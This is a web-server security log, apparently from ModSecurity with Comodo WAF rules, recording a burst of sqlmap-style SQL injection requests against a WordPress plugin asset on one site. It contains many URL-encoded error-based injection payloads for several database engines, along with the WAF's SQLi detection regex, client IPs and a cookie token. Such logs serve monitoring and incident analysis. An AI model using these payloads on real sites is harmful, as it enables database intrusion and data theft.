+0530] aE88unZqyQ8YfVGvJU7YRgAAAAY 172.71.164.92 42118 127.0.0.1 7081 --5a73ed3d-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20AND%207043%3DCAST%28%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%287043%3D7043%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29--%20GyUH HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.92 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505332e1a2b3660-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --5a73ed3d-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --5a73ed3d-E-- --5a73ed3d-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric)-- gyuh"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric)-- gyuh"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88unZqyQ8YfVGvJU7YRgAAAAY"] Stopwatch: 1750023354869867 5347 (- - -) Stopwatch2: 1750023354869867 5347; combined=3437, p1=362, p2=2929, p3=33, p4=27, p5=86, sr=90, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a73ed3d-Z-- --1d899441-A-- [16/Jun/2025:03:05:55.576569 +0530] aE88u4l8S04UZ4l67-nd_QAAAAk 172.71.246.14 42190 127.0.0.1 7081 --1d899441-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%207043%3DCAST%28%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%287043%3D7043%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%28%27AQgi%27%3D%27AQgi HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.246.14 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533325e469972-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --1d899441-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --1d899441-E-- --1d899441-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric) and ('aqgi'='aqgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric) and ('aqgi'='aqgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88u4l8S04UZ4l67-nd_QAAAAk"] Stopwatch: 1750023355569576 7111 (- - -) Stopwatch2: 1750023355569576 7111; combined=5061, p1=421, p2=4427, p3=39, p4=34, p5=140, sr=92, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1d899441-Z-- --fa87cb6d-A-- [16/Jun/2025:03:05:56.095297 +0530] aE88vAiLzf5Jb_3uGhHfdwAAAAA 172.69.151.198 42206 127.0.0.1 7081 --fa87cb6d-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%207043%3DCAST%28%28CHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%287043%3D7043%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%27cjft%27%3D%27cjft HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.151.198 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533359e103a6e-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --fa87cb6d-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --fa87cb6d-E-- --fa87cb6d-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric) and 'cjft'='cjft"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (7043=7043) then 1 else 0 end)) found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 7043=cast((chr(113)||chr(98)||chr(107)||chr(107)||chr(113))||(select (case when (7043=7043) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(122)||chr(113)) as numeric) and 'cjft'='cjft"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88vAiLzf5Jb_3uGhHfdwAAAAA"] Stopwatch: 1750023356089552 5832 (- - -) Stopwatch2: 1750023356089552 5832; combined=3993, p1=350, p2=3503, p3=32, p4=29, p5=79, sr=87, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa87cb6d-Z-- --44d8d340-A-- [16/Jun/2025:03:05:56.604770 +0530] aE88vFR6EeXjkGzEkblkgAAAAAs 172.71.144.31 42246 127.0.0.1 7081 --44d8d340-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%206810%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28107%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%286810%3D6810%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28112%29%2BCHAR%28122%29%2BCHAR%28113%29%29%29%20AND%20%281692%3D1692 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.31 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053338dd58d2a6-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --44d8d340-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --44d8d340-E-- --44d8d340-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (1692=1692 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 6810 in (select (char(113)+char(98)+char(107)+char(107)+char(113)+(select (case when (6810=6810) then char(49) else char(48) end))+char(113)+char(112)+char(112)+char(122)+char(113))) and (1692=1692"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (1692=1692 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 6810 in (select (char(113)+char(98)+char(107)+char(107)+char(113)+(select (case when (6810=6810) then char(49) else char(48) end))+char(113)+char(112)+char(112)+char(122)+char(113))) and (1692=1692"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88vFR6EeXjkGzEkblkgAAAAAs"] Stopwatch: 1750023356598423 6474 (- - -) Stopwatch2: 1750023356598423 6474; combined=4180, p1=476, p2=3503, p3=46, p4=36, p5=118, sr=114, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --44d8d340-Z-- --56542623-A-- [16/Jun/2025:03:05:58.159535 +0530] aE88vtkGqt_oHz6gRVdIoAAAAAw 172.71.148.148 42332 127.0.0.1 7081 --56542623-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%206810%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28107%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%286810%3D6810%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28112%29%2BCHAR%28122%29%2BCHAR%28113%29%29%29%20AND%20%28%27vMIm%27%3D%27vMIm HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.148 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533428c1579fb-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --56542623-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --56542623-E-- --56542623-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('vmim'='vmim found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 6810 in (select (char(113)+char(98)+char(107)+char(107)+char(113)+(select (case when (6810=6810) then char(49) else char(48) end))+char(113)+char(112)+char(112)+char(122)+char(113))) and ('vmim'='vmim"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and ('vmim'='vmim found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 6810 in (select (char(113)+char(98)+char(107)+char(107)+char(113)+(select (case when (6810=6810) then char(49) else char(48) end))+char(113)+char(112)+char(112)+char(122)+char(113))) and ('vmim'='vmim"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88vtkGqt_oHz6gRVdIoAAAAAw"] Stopwatch: 1750023358154117 5504 (- - -) Stopwatch2: 1750023358154117 5504; combined=3867, p1=304, p2=3420, p3=31, p4=30, p5=82, sr=75, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56542623-Z-- --acd10751-A-- [16/Jun/2025:03:05:58.674229 +0530] aE88vvkun2jazaBvM9ttqAAAAAE 172.70.240.126 42352 127.0.0.1 7081 --acd10751-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%206810%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28107%29%2BCHAR%28107%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%286810%3D6810%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28112%29%2BCHAR%28122%29%2BCHAR%28113%29%29%29%20AND%20%27URIJ%27%3D%27URIJ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.126 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053345cc1b9729-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --acd10751-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --acd10751-E-- --acd10751-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'urij'='urij found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 6810 in (select (char(113)+char(98)+char(107)+char(107)+char(113)+(select (case when (6810=6810) then char(49) else char(48) end))+char(113)+char(112)+char(112)+char(122)+char(113))) and 'urij'='urij"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 'urij'='urij found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 6810 in (select (char(113)+char(98)+char(107)+char(107)+char(113)+(select (case when (6810=6810) then char(49) else char(48) end))+char(113)+char(112)+char(112)+char(122)+char(113))) and 'urij'='urij"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88vvkun2jazaBvM9ttqAAAAAE"] Stopwatch: 1750023358668620 5721 (- - -) Stopwatch2: 1750023358668620 5721; combined=3887, p1=361, p2=3354, p3=32, p4=29, p5=111, sr=93, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --acd10751-Z-- --a2e7d825-A-- [16/Jun/2025:03:05:59.188867 +0530] aE88vwiLzf5Jb_3uGhHfegAAAAA 172.71.148.30 42384 127.0.0.1 7081 --a2e7d825-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%208564%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288564%3D8564%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28112%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29%20FROM%20DUAL%29%20AND%20%289570%3D9570 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.30 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053348f8911cc3-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 